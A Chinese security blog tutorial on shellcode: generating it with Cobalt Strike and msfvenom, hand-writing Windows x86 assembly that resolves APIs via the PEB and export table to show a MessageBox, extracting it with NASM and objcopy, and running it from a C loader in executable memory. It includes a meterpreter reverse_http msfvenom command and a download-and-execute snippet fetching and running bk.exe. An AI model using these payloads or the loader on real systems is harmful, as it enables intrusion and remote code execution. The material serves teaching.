认识ShellCode

已于 2023-09-21 06:18:19 修改
阅读量469 收藏 1
点赞数
分类专栏： Web安全 文章标签： 网络安全 系统安全 web安全
于 2023-09-21 06:09:33 首次发布

1 认识SHELLCODE   

    shellcode的本质其实就是一段可以自主运行的代码。它没有任何文件结构，它不依赖任何编译环境，无法像exe一样双击运行，因此需要通过控制程序流程跳转到shellcode地址上去执行shellcode。

    exploit主要强调执行控制权，而shellcode更关注于有了控制权之后的功能。因此shellcode更像是exploit的载荷，往往对于不同漏洞来讲exploit是特殊的，而shellcode会具有一些通用性。

2 生成SHELLCODE  

2.1 CS生成  

图片

图片

可以看到生成一个payload_x64.c

图片

2.2 MSF生成  

利用metasploit框架下的msfvenom生成shellcode。

例如：msfvenom -p windows/meterpreter/reverse_http lhost=192.168.67.5 lport=4444 -f c

图片

2.3 PWNTOOLS  

https://pwntools-docs-zh.readthedocs.io/zh_CN/dev/shellcraft.html

图片

2.4 ShellcodeCompiler工具  

工具地址：https://github.com/NytroRST/ShellcodeCompiler

Source.txt按如下格式填写：

（1）Windows

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");
    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

（2）linux

    chmod("/root/chmodme",511);    write(1,"Hello, world",12);    kill(1661,9);    getpid();    execve("/usr/bin/burpsuite",0,0);    exit(2);

如下：

图片

3 shellcode开发  

3.1 shellcode汇编开发  

1）编译器配置  

（1）编译器 ：Release-x86

（2）调试属性-配置属性-C/C++

图片

图片

图片

（3）调试属性-配置属性-链接器

图片

图片

（4）入口点设置

图片

2）实现核心功能  

l获取 kernel32.dll 基地址

l查找GetProcAddress函数的地址

l使用GetProcAddress查找LoadLibrary函数的地址

l使用LoadLibrary加载 DLL（例如kernel32.dll）

l使用GetProcAddress查找函数的地址（例如MessageBox）

l指定函数参数

l调用函数

图片

（1）Find kernel32.dll base address

获取Kernel32基址的方法有TEB查找法，原理是在NT内核系统中，fs寄存器指向TEB结构，TEB+0x30偏移处指向PEB（Process Environment Block）结构，PEB+0x0c偏移处指向PEB_LDR_DATA结构，PEB_LDR_DATA+0x1c偏移处存放着程序加载的动态链接库地址，第1个指向Ntdll.dll，第2个就是Kernel.32.dll的基地址。

图片

xor ecx, ecxmov eax, fs:[ecx + 0x30]  ; EAX = PEBmov eax, [eax + 0xc]      ; EAX = PEB->Ldrmov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrderlodsd                     ; EAX = Second modulexchg eax, esi             ; EAX = ESI, ESI = EAXlodsd                     ; EAX = Third(kernel32)mov ebx, [eax + 0x10]     ; EBX = Base address

（2）Find the export table of kernel32.dll

从DLL文件中获取API地址的方法如下，

l在DLL基址+3ch偏移处获取e_lfanew的地址，即可得到PE文件头。

l在PE文件头的78h偏移处得到函数导出表的地址。

l在导出表的1ch偏移处获取AddressOfFunctions的地址，在导出表的20h偏移处获取AddressOfNames的地址，在导出表的24h偏移处获取AddressOfNameOrdinalse的地址。

lAddressOfFunctions函数地址数组和AddressOfNames函数名数组通过函数AddressOfName Ordinalse一一对应。

         

图片

​

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx          ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx          ; EDX = Export tablemov esi, [edx + 0x20] ; ESI = Offset names tableadd esi, ebx          ; ESI = Names tablexor ecx, ecx          ; EXC = 0

（3）Find GetProcAddress function name

Get_Function:

inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function

（4）Find the address of GetProcAddress function

mov esi, [edx + 0x24]    ; ESI = Offset ordinalsadd esi, ebx             ; ESI = Ordinals tablemov cx, [esi + ecx * 2]  ; CX = Number of functiondec ecxmov esi, [edx + 0x1c]    ; ESI = Offset address tableadd esi, ebx             ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx             ; EDX = GetProcAddress

（5）Find the LoadLibrary function address

xor ecx, ecx    ; ECX = 0push ebx        ; Kernel32 base addresspush edx        ; GetProcAddresspush ecx        ; 0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp        ; "LoadLibrary"push ebx        ; Kernel32 base addresscall edx        ; GetProcAddress(LL)

（6）Load user32.dll library

add esp, 0xc    ; pop "LoadLibraryA"pop ecx         ; ECX = 0push eax        ; EAX = LoadLibraryApush ecxmov cx, 0x6c6c  ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp        ; "user32.dll"call eax        ; LoadLibrary("user32.dll")

（7）加载MessageBox​​​​​​​

add esp, 0x10                  ; Clean stackmov edx, [esp + 0x4]           ; EDX = GetProcAddressxor ecx, ecx                   ; ECX = 0push ecxmov ecx, 0x6141786f            ; oxAapush ecxsub dword ptr[esp + 0x3], 0x61       ; Remove "a"push 0x42656761                ; ageBpush 0x7373654d                ; Messpush esp                                                 ;”MessageBoxA”push eax                                                 ; user32.dll addresscall edx                                                 ; GetProc(MessageBoxA)

（8）调用MessageBoxA​​​​​​​

add esp, 0x14                                           ; Cleanup stackpush 0x0push 0x0push 0x0push 0x0call eax      ; message

（9）结束进程调用,获取 ExitProcess 函数地址​​​​​​​

add esp, 0x18                    ; 堆栈平衡，call push2次，所以6*4=24pop edx                         ; 重新弹出GetProcAddress地址，继续使用该函数来获取ExitProcesspop ebx                         ; kernel32.dll base addressmov ecx, 0x61737365             ; essapush ecxsub dword ptr [esp + 0x3], 0x61 ; Remove "a"push 0x636f7250                 ; Procpush 0x74697845                 ; Exitpush esppush ebx                        ; kernel32.dll base addresscall edx                        ; GetProc(Exec)

（10）调用 ExitProcess 函数，结束自身​​​​​​​

xor ecx, ecx ; ECX = 0push ecx     ; Return code = 0call eax     ; ExitProcess

最终的代码如下：

图片

3）提取为bin文件  

使用kali中的编译环境

（1）编写汇编代码，保存为 hello.asm

图片

（2）使用 NASM 汇编器将汇编代码转换为目标文件：

nasm -f elf32 hello.asm -o hello.o

（3）使用 ld 链接器将目标文件转换为可执行文件：

ld -m elf_i386 -s -o hello hello.o

图片

（4）使用 objcopy 工具提取 shellcode：

objcopy -O binary --only-section=.text hello shellcode.bin

图片

         

4）编写加载器测试bin文件 ​​​​​​​

int main(int argc, char* argv[])
{
    //打开文件
    HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Oen file error:%d\n", GetLastError);
        return -1;
    }

    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);
    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //内存分配是否成功
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError);
        CloseHandle(hFile);
        return -1;
    }
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    //内嵌汇编
    __asm
     {
        call lpAddress
    }
   _flushall();
    system("pause");
    return 0;
}
 

图片
 

5）提取bin文件测试  
 

右键-编辑-复制为十六进制数值
 

图片
 

测试 ​​​​​​​
 

图片
 

 

3.3 shellcode的功能模块  
 

Shellcode分为两个模块，分别是基本模块和功能模块，结构如图所示。
 

图片
 

下载执行(Download & Execute)，具有这个功能的Shellcode最常被浏览器类漏洞样本使用，其功能就是从指定的URL下载一个exe文件并运行。
 

图片
 

捆绑 (Binder)，具有这个功能的Shellcode最常见于Office等漏洞样本中，其功能是将捆绑在样本自身上的exe数据释放到指定目录中并运行。
 

图片
 

反弹shell，具有这个功能的Shellcode多见于主动型远程溢出漏洞样本中，攻击者可以借助NC等工具，在实施攻击后获取一个远程She以执行任意命令。
 

  
 

图片

                

        

        

    

  


    


                



	

		

			

				
					
Shellcode

				
			

			

				

					weixin_43916678的博客
				

				

					07-07
					
					9029
					
				

			

		

		

			
				
shellcode简介
shellcode是一段用于利用软件漏洞而执行的代码，也可以认为是一段填充数据，shellcode为16进制的机器码，因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后，塞入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击者的任意指令。
下面这张图就是shellcode工作流程，从功能上看，shellcode在整个漏洞利用过程中发挥主要作用就是对计算机端的控制。

shellcode可以按照攻击者执行的位置分为本地s

			
		

	



                

            
              



	

		

			

				
					
红队系列-shellcode AV bypass Evasion免杀合集

				
			

			

				

					aming小老弟
				

				

					11-13
					
					1613
					
				

			

		

		

			
				
壳就是软件所增加的保护，并不会破坏里面的程序结构，当我们运行这个加壳的程序时，系统首先会运行程序里的壳，然后由壳将加密的程序逐步还原到内存中，最后运行程序。加壳虽然对于特征码绕过有非常好的效果，加密壳基本上可以把特征码全部掩盖，但是缺点也非常的明显，因为壳自己也有特征，主流的壳如VMP, Themida等等。客户端上传特征，在云端无法检测到，则上传文件，文件通过杀软系统进行评判，得出总评分，对于无结果的，进行鉴定系统评分，总共得出结果返回给用户，并入云端库。比如可以远程读取png中的shellcode。

			
		

	



              


  
              

                


	

		

			

				
					
CS结合python3混淆shellcode制作免杀脚本

				
			

			

				

					m0_48108919的博客
				

				

					03-19
					
					7542
					
				

			

		

		

			
				
文章参考自：Cobalt Strike免杀操作 - 技术文章 - 90Sec

0x00基础知识

Cobalt Strike简介

Cobalt Strike是一款功能强大的渗透工具，集成了端口转发、提权、凭据导出、服务扫描、文件捆绑、木马生成，钓鱼等多种功能。Cobalt Strike作为一款协同工具，主要用于团队作战，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。

Shellcode介绍

简单翻译 ' shell代码 '，是Payload的一种，由于其建立正向/反

			
		

	





	

		

			

				
					
网络安全免杀shellcode加载器原理（一）笔记

					
最新发布

				
			

			

				

					m0_57836225的博客
				

				

					09-05
					
					1013
					
				

			

		

		

			
				
在暂存器 eip 溢出后，可塞入一段能让 CPU 执行的 shellcode 机器码，使电脑执行攻击者的任意指令。总之，Shellcode 是一种强大的攻击工具，可以通过各种方式生成、调试、混淆和在不同操作系统上执行。然而，使用 Shellcode 进行恶意攻击是非法的行为，我们应该将其用于合法的安全研究和漏洞测试目的。同时，了解 Shellcode 的原理和技术也有助于提高系统的安全性，防范潜在的攻击。例如，以下代码中，evil 数组存储了一段 shellcode，在特定环境下执行后可弹出计算器。

			
		

	



		

			
		



	

		

			

				
					
shellcode

				
			

			

				

					WEB安全测试学习中……
				

				

					03-09
					
					1197
					
				

			

		

		

			
				
<br />Shellcode实际是一段代码（也可以是填充数据），是用来发送到服务器利用特定漏洞的代码，一般可以获取权限。<br />另外，Shellcode一般是作为数据发送给受攻击服务的。 <br />Shellcode是溢出程序和蠕虫病毒的核心，提到它自然就会和漏洞联想在一起，毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shell

			
		

	





	

		

			

				
					
ShellCode

				
			

			

				

					weixin_30954607的博客
				

				

					08-13
					
					347
					
				

			

		

		

			
				
典型栈溢出A-代码分析ShellCode-A#include "pch.h"#include <iostream>#include <Windows.h>#define PASSWORD "15PB"// GS: 用于判断当前是否产生了溢出，依赖的是检查安全 cookie， CheckStackValue// inline: 没有关闭代码优化，导致一些简单的代码被...

			
		

	





	

		

			

				
					
shellcode中文手册汇编.pdf

				
			

			

				

					10-08
				

			

		

		

			
				
根据提供的文件信息，以下是相关的知识点：  1. 《The Shellcoder’s...整体上，文档提供的内容涉及了计算机安全、编程学习、资源利用和个人成长等多个层面，反映了作为IT专业人员在不断学习和实践中的各种思考和认识。

			
		

	





	

		

			

				
					
inject:将 shellcode 注入 x86 上的 ELF3264 二进制文件，并将入口点重定向到新代码

				
			

			

				

					07-03
				

			

		

		

			
				
学习和理解shellcode注入不仅可以提高对系统安全性的认识，也有助于开发防御策略，例如编写安全的代码和应用沙箱环境。然而，这种技术也可能被用于非法活动，因此在探索时应遵守法律和道德规范。

			
		

	





	

		

			

				
					
“冲击波”病毒的shellcode

				
			

			

				

					05-31
				

			

		

		

			
				
通过对“冲击波”病毒Shellcode的分析，我们不仅了解了这种类型的恶意软件是如何利用系统漏洞来传播和执行恶意操作的，还能够深刻认识到及时更新操作系统和应用软件的重要性。面对日益复杂的网络安全威胁，加强系统...

			
		

	





	

		

			

				
					
利用图片隐藏Shellcode的技巧分析

				
			

			

				

					
				

			

		

		

			
				
"这篇资料是关于壳码（Shellcode）隐藏技术的，主要探讨如何将Shellcode藏在图片等不同的文件格式中，以此规避安全检测。...通过学习这些技巧，不仅可以增强对攻击手段的认识，还能帮助设计更为坚固的安全防护措施。

			
		

	



              




          




        



    





    



      

      

        
      

      





	

		评论	
	

	
	




  

    

      添加红包
      
    

    

      

        
        

          
          
        

        
请填写红包祝福语或标题

      

      

        
        

          
          个
        

        
红包个数最小为10个

      

      

        
        

          
          元
        

        
红包金额最低5元

      

      

        
        

          当前余额3.43元
          前往充值 >
        

      

      

        

          需支付：10.00元
        

        
        
      

    

  





  

    
    
  

  

    
    
  








  

    

      

        

          

            
            
成就一亿技术人!

          

          

        

        

          

          

            领取后你会自动成为博主和红包主的粉丝
            规则
          

        

      

      

        

          

            
              
            
            

              
hope_wisdom
 发出的红包
            

          

        

        

          

          

          

        

      

    

    

  



      
      

      
实付元

      
使用余额支付

      

        

          

            
            点击重新获取
          

        

        
扫码支付

      

      

        
          
            
          
          
        
      

      

        
        钱包余额
          0
          

            
            

              

                
抵扣说明：

                
 1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
 2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

              

            

          

      

      余额充值